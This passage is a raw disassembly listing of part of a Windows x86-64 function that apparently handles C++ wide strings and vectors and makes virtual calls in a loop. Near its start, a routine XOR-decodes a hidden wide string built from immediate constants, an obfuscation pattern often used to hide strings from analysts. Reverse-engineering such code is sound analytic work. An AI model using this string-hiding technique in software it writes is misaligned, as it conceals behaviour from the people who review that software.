pxor xmm4, xmm0
movdqa xmm0, xmmword [0x2041f74a0]
or eax, edx
movzx edx, word [0x2041f7334]
movups xmmword [rsp + 0x248], xmm4
movaps xmmword [rsp + 0x210], xmm0
movdqa xmm0, xmmword [0x2041f74b0]
xor edx, 0x1b
movaps xmmword [rsp + 0x220], xmm0
mov dword [rsp + 0x258], eax
movabs rax, 0x7e006f00740055
movdqa xmm7, xmmword [rsp + 0x230]
mov word [rsp + 0x25c], dx
movdqa xmm5, xmmword [rsp + 0x240]
movabs rdx, 0x47007f007a006b
movdqa xmm6, xmmword [rsp + 0x250]
mov qword [rsp + 0x264], rax
movabs rax, 0x6f0068007e006f
mov qword [rsp + 0x26c], rdx
movabs rdx, 0x6e006b007c0036
mov qword [rsp + 0x274], rax
xor eax, eax
mov qword [rsp + 0x27c], rdx
movups xmmword [rsp + 0x284], xmm7
movups xmmword [rsp + 0x294], xmm5
movups xmmword [rsp + 0x2a4], xmm6
nop word [rax + rax]
movzx edx, word [rsp + rax*2 + 0x264]
mov ecx, dword [rsp + 0x260]
xor edx, ecx
mov word [rsp + rax*2 + 0x264], dx
add rax, 1
cmp rax, 0x27
jne 0x204139d90
xor ecx, ecx
lea r14, [rsp + 0x264]
lea rdi, [rsp + 0x1b0]
mov word [rsp + 0x2b2], cx
mov rcx, r14
mov qword [rsp + 0x1a0], rdi
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x160], rsi
cmp rbx, 0xe
ja 0x20413a8f6
mov rcx, qword [rsp + 0x1a0]
mov rax, rsi
cmp rsi, 1
je 0x20413a8e6
test rsi, rsi
jne 0x20413a745
xor edx, edx
pxor xmm0, xmm0
mov qword [rsp + 0x1a8], rax
mov word [rcx + rax*2], dx
mov ecx, 0x40
mov qword [rsp + 0x150], 0
movaps xmmword [rsp + 0x140], xmm0
call fcn.2041ee890
mov r14, rax
mov qword [rsp + 0x140], rax
lea rax, [rax + 0x40]
mov r15, qword [rsp + 0x180]
mov qword [rsp + 0x30], rax
lea rcx, [r14 + 0x10]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x188]
mov qword [r14], rcx
lea rbx, [rax + rax]
mov rax, r15
add rax, rbx
je 0x204139e8f
test r15, r15
je 0x20413ae4e
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x160], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413a9d0
cmp rsi, 1
je 0x20413a9c4
test rsi, rsi
jne 0x20413a781
xor r15d, r15d
mov qword [r14 + 8], rax
mov word [rcx + rax*2], r15w
lea rax, [r14 + 0x20]
lea rcx, [r14 + 0x30]
mov r15, qword [rsp + 0x1a0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x1a8]
mov qword [r14 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, r15
add rax, rbx
je 0x204139eff
test r15, r15
je 0x20413ae53
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x160], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413a9fa
cmp rsi, 1
je 0x20413a9b8
test rsi, rsi
jne 0x20413a765
xor esi, esi
mov qword [r14 + 0x28], rax
mov word [rcx + rax*2], si
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x1a0]
mov qword [rsp + 0x148], rax
cmp rcx, rdi
je 0x204139f63
mov rax, qword [rsp + 0x1b0]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rcx, qword [rsp + 0x180]
cmp rcx, qword [rsp + 0x50]
je 0x204139f84
mov rax, qword [rsp + 0x190]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x2d0], 0
movaps xmmword [rsp + 0x2c0], xmm0
call fcn.2041ee890
mov r15, rax
movq xmm0, rax
lea rax, [rax + 0x40]
mov rdi, qword [r13]
mov qword [rsp + 0x60], rax
punpcklqdq xmm0, xmm0
lea rcx, [r15 + 0x10]
mov qword [rsp + 0x2d0], rax
mov rax, qword [r13 + 8]
mov qword [r15], rcx
lea rbx, [rax + rax]
mov rax, rdi
movaps xmmword [rsp + 0x2c0], xmm0
add rax, rbx
je 0x204139fef
test rdi, rdi
je 0x20413ae3d
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x260], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413a7a7
cmp rsi, 1
je 0x20413a79c
test rsi, rsi
je 0x20413a02f
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x260]
mov rcx, qword [r15]
xor ebx, ebx
mov qword [r15 + 8], rax
mov rdi, qword [r13 + 0x20]
mov word [rcx + rax*2], bx
lea rax, [r15 + 0x20]
lea rcx, [r15 + 0x30]
mov qword [rsp + 0x68], rax
mov rax, qword [r13 + 0x28]
mov qword [r15 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, rdi
add rax, rbx
je 0x20413a067
test rdi, rdi
je 0x20413ae42
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x260], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413aab1
cmp rsi, 1
je 0x20413aaa6
test rsi, rsi
je 0x20413a0a8
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x260]
mov rcx, qword [r15 + 0x20]
xor r11d, r11d
mov qword [r15 + 0x28], rax
mov rdx, qword [rsp + 0x20]
mov word [rcx + rax*2], r11w
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x2c8], rax
call fcn.204135b20
mov rbx, qword [rsp + 0x2c8]
mov r15, qword [rsp + 0x2c0]
cmp rbx, r15
je 0x20413a11f
nop dword [rax + rax]
mov rcx, qword [r15]
lea rax, [r15 + 0x10]
cmp rcx, rax
je 0x20413a7d8
mov rax, qword [r15 + 0x10]
add r15, 0x20
lea rdx, [rax + rax + 2]
call fcn.2041ee850
cmp rbx, r15
jne 0x20413a0f0
mov r15, qword [rsp + 0x2c0]
test r15, r15
je 0x20413a137
mov rdx, qword [rsp + 0x2d0]
mov rcx, r15
sub rdx, r15
call fcn.2041ee850
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x2d0], 0
movaps xmmword [rsp + 0x2c0], xmm0
call fcn.2041ee890
mov r15, rax
movq xmm0, rax
lea rax, [rax + 0x40]
mov rdi, qword [r14]
mov qword [rsp + 0x60], rax
punpcklqdq xmm0, xmm0
lea rcx, [r15 + 0x10]
mov qword [rsp + 0x2d0], rax
mov rax, qword [r14 + 8]
mov qword [r15], rcx
lea rbx, [rax + rax]
mov rax, rdi
movaps xmmword [rsp + 0x2c0], xmm0
add rax, rbx
je 0x20413a1a1
test rdi, rdi
je 0x20413ae5f
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x260], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413ab1b
cmp rsi, 1
je 0x20413aadb
test rsi, rsi
je 0x20413a1e1
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x260]
mov rcx, qword [r15]
xor r10d, r10d
mov qword [r15 + 8], rax
mov rdi, qword [r14 + 0x20]
mov word [rcx + rax*2], r10w
lea rax, [r15 + 0x20]
lea rcx, [r15 + 0x30]
mov qword [rsp + 0x68], rax
mov rax, qword [r14 + 0x28]
mov qword [r15 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, rdi
add rax, rbx
je 0x20413a21b
test rdi, rdi
je 0x20413ae64
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x260], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413aaf1
cmp rsi, 1
je 0x20413aae6
test rsi, rsi
je 0x20413a25c
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x260]
mov rcx, qword [r15 + 0x20]
xor r9d, r9d
mov qword [r15 + 0x28], rax
mov rdx, qword [rsp + 0x20]
mov word [rcx + rax*2], r9w
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x2c8], rax
call fcn.204135b20
mov rbx, qword [rsp + 0x2c8]
mov r15, qword [rsp + 0x2c0]
cmp rbx, r15
je 0x20413a2cf
nop dword [rax]
mov rcx, qword [r15]
lea rax, [r15 + 0x10]
cmp rcx, rax
je 0x20413a7f0
mov rax, qword [r15 + 0x10]
add r15, 0x20
lea rdx, [rax + rax + 2]
call fcn.2041ee850
cmp rbx, r15
jne 0x20413a2a0
mov r15, qword [rsp + 0x2c0]
test r15, r15
je 0x20413a2e7
mov rdx, qword [rsp + 0x2d0]
mov rcx, r15
sub rdx, r15
call fcn.2041ee850
mov rax, qword [rsp + 0x40]
mov r15, qword [rsp + 0x160]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x168]
lea rbx, [rax + rax]
mov rax, r15
add rax, rbx
je 0x20413a319
test r15, r15
je 0x20413ae70
mov rsi, rbx
mov rcx, qword [rsp + 0x40]
sar rsi, 1
mov qword [rsp + 0x2c0], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413aa3f
cmp rsi, 1
je 0x20413aa33
test rsi, rsi
je 0x20413a363
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x260]
xor r8d, r8d
mov qword [rsp + 0x268], rax
mov r15, qword [rsp + 0x180]
lea rbx, [rsp + 0x2d0]
mov word [rcx + rax*2], r8w
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x2c0], rbx
lea rsi, [rax + rax]
mov rax, r15
add rax, rsi
je 0x20413a3a8
test r15, r15
je 0x20413ae7c
mov rdi, rsi
mov rcx, rbx
sar rdi, 1
mov qword [rsp + 0xf8], rdi
mov rax, rdi
cmp rsi, 0xe
ja 0x20413aa71
cmp rdi, 1
je 0x20413aa27
test rdi, rdi
je 0x20413a3f0
mov r8, rsi
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x2c0]
xor edx, edx
mov qword [rsp + 0x2c8], rax
mov word [rcx + rax*2], dx
mov ecx, 0x40
call fcn.2041ee890
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
mov r15, rax
call fcn.204137ff0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xf8], r15
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x20413ad13
lea rsi, [rdx + 8]
mov qword [rdx], r15
mov qword [rax + 8], rsi
mov rcx, qword [rsp + 0x2c0]
cmp rcx, rbx
je 0x20413a462
mov rax, qword [rsp + 0x2d0]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rcx, qword [rsp + 0x260]
cmp rcx, qword [rsp + 0x40]
je 0x20413a483
mov rax, qword [rsp + 0x270]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rax, qword [rsp + 0x38]
xor r15d, r15d
mov rbx, qword [rax]
cmp rbx, rsi
je 0x20413a4c7
nop dword [rax + rax]
mov rcx, qword [rbx]
mov rdx, r15
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rbx]
mov rdx, r15
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx]
mov rdx, r15
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r15, qword [rbx]
add rbx, 8
cmp rsi, rbx
jne 0x20413a498
call fcn.204112c90
mov rcx, qword [rsp + 0x180]
cmp rcx, qword [rsp + 0x50]
je 0x20413a4ed
mov rax, qword [rsp + 0x190]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rcx, qword [rsp + 0x160]
lea rax, [rsp + 0x170]
cmp rcx, rax
je 0x20413a514
mov rax, qword [rsp + 0x170]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rbx, r14
nop word [rax + rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x20413a820
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + rax + 2]
call fcn.2041ee850
cmp qword [rsp + 0x30], rbx
jne 0x20413a520
mov edx, 0x40
mov rcx, r14
mov rbx, r13
call fcn.2041ee850
nop dword [rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x20413a808
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + rax + 2]
call fcn.2041ee850
cmp rbp, rbx
jne 0x20413a560
mov rcx, r13
mov edx, 0x40
call fcn.2041ee850
mov rcx, qword [r12]
cmp qword [rsp + 0x28], rcx
je 0x20413a5ad
mov rax, qword [r12 + 0x10]
lea rdx, [rax + 1]
call fcn.2041ee850
mov edx, 0x20
mov rcx, r12
call fcn.2041ee850
nop
movaps xmm6, xmmword [rsp + 0x3e0]
movaps xmm7, xmmword [rsp + 0x3f0]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x400]
add rsp, 0x418
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
add r14, 0x20
cmp rsi, r14
jne 0x204138db8
jmp 0x204138dde
test rbx, rbx
jne 0x20413ae88
mov rax, qword [rsp + 0x28]
jmp 0x204138cb9
mov rdx, qword [rsp + 0x20]
xor r8d, r8d
mov rcx, r12
call fcn.2041dbfd0
mov qword [r12], rax
mov rcx, rax
mov rax, qword [rsp + 0x2c0]
mov qword [r12 + 0x10], rax
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x2c0]
mov rax, qword [r12]
jmp 0x204138cb9
test rbx, rbx
je 0x204138d77
jmp 0x20413a690
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call fcn.2041dbfd0
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x320]
mov qword [r14 + 0x10], rax
mov r8, rbx
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x320]
mov rcx, qword [r14]
jmp 0x204138d77
mov r8, rbx
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x280]
jmp 0x2041397cf
mov r8, rbx
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x260]
jmp 0x20413955d
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov r8, qword [rsp + 0x210]
mov rcx, qword [r13 + 0x20]
jmp 0x2041399c6
mov rdx, qword [rsp + 0x20]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x180]
jmp 0x204139ba3
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [r13]
jmp 0x204139870
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x1a0]
jmp 0x204139e17
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x160]
mov rcx, qword [r14 + 0x20]
jmp 0x204139f2d
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x160]
mov rcx, qword [r14]
jmp 0x204139ebd
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x20413a02f
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r15
call fcn.2041df860
mov qword [r15], rax
mov rcx, rax
mov rax, qword [rsp + 0x260]
mov qword [r15 + 0x10], rax
cmp rsi, 1
jne 0x20413a014
jmp 0x20413a79c
add r15, 0x20
cmp rbx, r15
jne 0x20413a0f0
jmp 0x20413a117
add r15, 0x20
cmp rbx, r15
jne 0x20413a2a0
jmp 0x20413a2c7
add rbx, 0x20
cmp rbp, rbx
jne 0x20413a560
jmp 0x20413a587
add rbx, 0x20
cmp qword [rsp + 0x30], rbx
jne 0x20413a520
jmp 0x20413a549
movzx edx, word [rsp + 0x2c4]
mov word [rcx], dx
jmp 0x2041397cf
movzx edx, word [rsp + 0x384]
mov word [rcx], dx
jmp 0x20413955d
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
call fcn.2041df860
mov qword [rsp + 0x260], rax
mov rcx, rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x270], rax
jmp 0x20413954a
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x280]
xor r8d, r8d
call fcn.2041df860
mov qword [rsp + 0x280], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x290], rax
jmp 0x2041397bc
movzx edx, word [r14]
mov word [rcx], dx
jmp 0x204139870
movzx eax, word [r14]
mov word [rcx], ax
jmp 0x2041399c6
movzx edx, word [rsp + 0x2c0]
mov word [rcx], dx
jmp 0x204139ba3
movzx edx, word [rsp + 0x264]
mov word [rcx], dx
jmp 0x204139e17
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x1a0]
xor r8d, r8d
call fcn.2041df860
mov qword [rsp + 0x1a0], rax
mov rcx, rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x1b0], rax
jmp 0x204139e04
lea rdx, [rsp + 0x210]
xor r8d, r8d
mov rcx, r13
call fcn.2041df860
mov qword [r13], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [r13 + 0x10], rax
jmp 0x20413985d
mov rcx, qword [rsp + 0x78]
lea rdx, [rsp + 0x210]
xor r8d, r8d
call fcn.2041df860
mov r8, qword [rsp + 0x210]
mov qword [r13 + 0x20], rax
mov rcx, rax
mov qword [r13 + 0x30], r8
jmp 0x2041398cb
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
call fcn.2041df860
mov qword [rsp + 0x180], rax
mov rcx, rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x190], rax
jmp 0x204139b90
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x204139f2d
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x204139ebd
lea rdx, [rsp + 0x160]
xor r8d, r8d
mov rcx, r14
call fcn.2041df860
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x160]
mov qword [r14 + 0x10], rax
jmp 0x204139eaa
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x160]
xor r8d, r8d
call fcn.2041df860
mov qword [r14 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x160]
mov qword [r14 + 0x30], rax
jmp 0x204139f1a
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x20413a3f0
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x20413a363
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
call fcn.2041df860
mov qword [rsp + 0x260], rax
mov rcx, rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x270], rax
jmp 0x20413a339
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0xf8]
xor r8d, r8d
call fcn.2041df860
mov qword [rsp + 0x2c0], rax
mov rcx, rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x2d0], rax
jmp 0x20413a3c6
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x20413a0a8
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
call fcn.2041df860
mov qword [r15 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x260]
mov qword [r15 + 0x30], rax
jmp 0x20413a082
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x20413a1e1
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x20413a25c
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
call fcn.2041df860
mov qword [r15 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x260]
mov qword [r15 + 0x30], rax
jmp 0x20413a236
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r15
call fcn.2041df860
mov qword [r15], rax
mov rcx, rax
mov rax, qword [rsp + 0x260]
mov qword [r15 + 0x10], rax
jmp 0x20413a1bc
test rax, rax
jne 0x20413ae00
mov rdx, rbx
jmp 0x204138944
mov rcx, rax
mov r8, r15
call fcn.2041d8a50
jmp 0x204138ad8
test rsi, rsi
jne 0x20413adf8
mov rax, rbp
jmp 0x2041389b3
mov rdx, rdi
xor r8d, r8d
mov rcx, r13
call fcn.2041dbfd0
mov rdx, qword [rsp + 0x320]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2d0], rdx
cmp esi, 8
jae 0x20413ad2f
test sil, 4
jne 0x20413addf
test esi, esi
je 0x20413abce
movzx edx, byte [rsp + 0x380]
mov byte [rax], dl
test sil, 2
je 0x20413abce
mov esi, esi
movzx edx, word [r15 + rsi - 2]
mov word [rax + rsi - 2], dx
mov rax, qword [rsp + 0x320]
mov rdx, qword [rsp + 0x2c0]
jmp 0x204138944
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call fcn.2041dbfd0
mov qword [rsp + 0x320], rax
mov rcx, rax
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x330], rax
mov r8, rsi
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rsi, qword [rsp + 0x380]
mov rax, qword [rsp + 0x320]
jmp 0x2041389b3
mov r14, qword [rsp + 0x328]
mov rax, r13
lea rsi, [rsp + 0x390]
mov qword [rsp + 0x380], rsi
add rax, r14
je 0x20413ac55
test r13, r13
je 0x20413aea6
mov qword [rsp + 0x260], r14
cmp r14, 0xf
ja 0x20413ad91
cmp r14, 1
jne 0x20413ad80
movzx eax, byte [r13]
mov byte [rsp + 0x390], al
mov rax, rsi
mov qword [rsp + 0x388], r14
mov ecx, 0x40
mov byte [rax + r14], 0
call fcn.2041ee890
mov rdx, r15
mov rcx, rax
mov r13, rax
call fcn.204138380
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x260]
xor edx, edx
mov qword [rsp + 0x260], r13
call fcn.2041d8a50
mov rcx, qword [rsp + 0x380]
cmp rcx, rsi
je 0x20413acdf
mov rax, qword [rsp + 0x390]
lea rdx, [rax + 1]
call fcn.2041ee850
mov r13, qword [rsp + 0x320]
jmp 0x204138a5b
mov rcx, rax
lea r8, [rsp + 0x260]
call fcn.2041d8a50
jmp 0x204138e3f
mov r8, qword [rsp + 0x20]
mov rcx, rax
call fcn.2041d8a50
jmp 0x204138e7f
lea r8, [rsp + 0xf8]
mov rcx, rax
mov rdi, rax
call fcn.2041d8a50
mov rsi, qword [rdi + 8]
jmp 0x20413a443
mov rdx, qword [rsp + 0x380]
mov r9, r15
mov qword [rax], rdx
mov edx, esi
mov rcx, qword [r15 + rdx - 8]
mov qword [rax + rdx - 8], rcx
lea rcx, [rax + 8]
and rcx, 0xfffffffffffffff8
sub rax, rcx
add esi, eax
sub r9, rax
and esi, 0xfffffff8
cmp esi, 8
jb 0x20413abce
and esi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [r9 + rdx]
mov qword [rcx + rdx], r8
cmp eax, esi
jb 0x20413ad6a
jmp 0x20413abce
test r14, r14
jne 0x20413ae9e
mov rax, rsi
jmp 0x20413ac80
lea rdx, [rsp + 0x260]
xor r8d, r8d
mov rcx, r15
call fcn.2041dbfd0
mov qword [rsp + 0x380], rax
mov rcx, rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x390], rax
mov r8, r14
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov r14, qword [rsp + 0x260]
mov rax, qword [rsp + 0x380]
jmp 0x20413ac80
mov edx, dword [rsp + 0x380]
mov esi, esi
mov dword [rax], edx
mov edx, dword [r15 + rsi - 4]
mov dword [rax + rsi - 4], edx
jmp 0x20413abce
mov rcx, rbp
jmp 0x20413ac0c
mov rax, rbx
jmp 0x20413ab9a
lea rcx, [0x2041f727a]
call fcn.2041ef7f0
lea rcx, [0x2041f7250]
call fcn.2041ef700
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov qword [rsp + 0x78], r13
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov qword [rsp + 0x68], r15
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov qword [rsp + 0x60], r14
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov qword [rsp + 0x68], r15
lea rcx, [0x2041f7250]
call fcn.2041ef700
lea rcx, [0x2041f7250]
call fcn.2041ef700
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov rcx, qword [rsp + 0x28]
jmp 0x20413a644
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov rcx, rsi
jmp 0x20413adbf
lea rcx, [0x2041f7250]
call fcn.2041ef700
mov rcx, rax
call fcn.2041ee9e0
mov rdx, r14
mov rcx, r14
call fcn.2041b3c30
call fcn.2041ef020
mov rcx, rax
call fcn.2041ee9e0
mov rdx, r12
mov rcx, r12
call fcn.2041b3c30
call fcn.2041ef020
mov r12, rax
call fcn.2041eebc0
mov rcx, qword [rsp + 0x380]
mov rdx, qword [rsp + 0x390]
sub rdx, rcx
test rcx, rcx
jne 0x20413afad
lea rcx, [rsp + 0x100]
call fcn.2041d8360
mov rcx, r12
call fcn.204146270
mov r12, rax
call fcn.2041eebc0
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x110]
sub rdx, rcx
call fcn.2041ee850
mov rcx, qword [rsp + 0x380]
cmp rcx, rsi
je 0x20413af13
mov rax, qword [rsp + 0x390]
lea rdx, [rax + 1]
call fcn.2041ee850
jmp 0x20413af13
call fcn.2041ee850
jmp 0x20413af06